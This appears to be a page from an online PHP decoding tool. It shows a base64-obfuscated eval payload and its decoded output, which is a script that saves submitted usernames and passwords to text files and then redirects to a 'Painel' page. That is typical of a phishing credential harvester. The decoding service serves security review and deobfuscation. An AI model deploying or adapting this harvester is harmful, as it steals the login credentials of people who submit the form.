Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @eval("?>".base64_decode("PD9waHANCiR1c2VyID0gJF9QT1NUWyJ1c2VybmFtZSJdOw0KDQokZmlsZX..

Decoded Output download

?>b'<?php
$user = $_POST["username"];

$files = glob(\'../login.txt\'); 
foreach($files as $file){ 
  if(is_file($file))
    unlink($file);
}
$escreve = $user;

$fp = fopen("../login.txt", "a");
fwrite($fp, $escreve);
fclose($fp);
?>
<?php
$user = $_POST["password"];

$files = glob(\'../senha.txt\'); 
foreach($files as $file){ 
  if(is_file($file))
    unlink($file);
}
$escreve = $user;

$fp = fopen("../senha.txt", "a");
fwrite($fp, $escreve);
fclose($fp);
header("Location: ../Painel");
?>'

Did this file decode correctly?

Original Code

<?php @eval("?>".base64_decode("PD9waHANCiR1c2VyID0gJF9QT1NUWyJ1c2VybmFtZSJdOw0KDQokZmlsZXMgPSBnbG9iKCcuLi9sb2dpbi50eHQnKTsgDQpmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSl7IA0KICBpZihpc19maWxlKCRmaWxlKSkNCiAgICB1bmxpbmsoJGZpbGUpOw0KfQ0KJGVzY3JldmUgPSAkdXNlcjsNCg0KJGZwID0gZm9wZW4oIi4uL2xvZ2luLnR4dCIsICJhIik7DQpmd3JpdGUoJGZwLCAkZXNjcmV2ZSk7DQpmY2xvc2UoJGZwKTsNCj8+DQo8P3BocA0KJHVzZXIgPSAkX1BPU1RbInBhc3N3b3JkIl07DQoNCiRmaWxlcyA9IGdsb2IoJy4uL3NlbmhhLnR4dCcpOyANCmZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsgDQogIGlmKGlzX2ZpbGUoJGZpbGUpKQ0KICAgIHVubGluaygkZmlsZSk7DQp9DQokZXNjcmV2ZSA9ICR1c2VyOw0KDQokZnAgPSBmb3BlbigiLi4vc2VuaGEudHh0IiwgImEiKTsNCmZ3cml0ZSgkZnAsICRlc2NyZXZlKTsNCmZjbG9zZSgkZnApOw0KaGVhZGVyKCJMb2NhdGlvbjogLi4vUGFpbmVsIik7DQo/Pg=="));//Generated by Ampare PHP Encoder. For more security please use php protect before encode the php program

Function Calls

base64_decode 1

Variables

None

Stats

MD5 8260200ce23baff8d5f7a2955be11c45
Eval Count 1
Decode Time 46 ms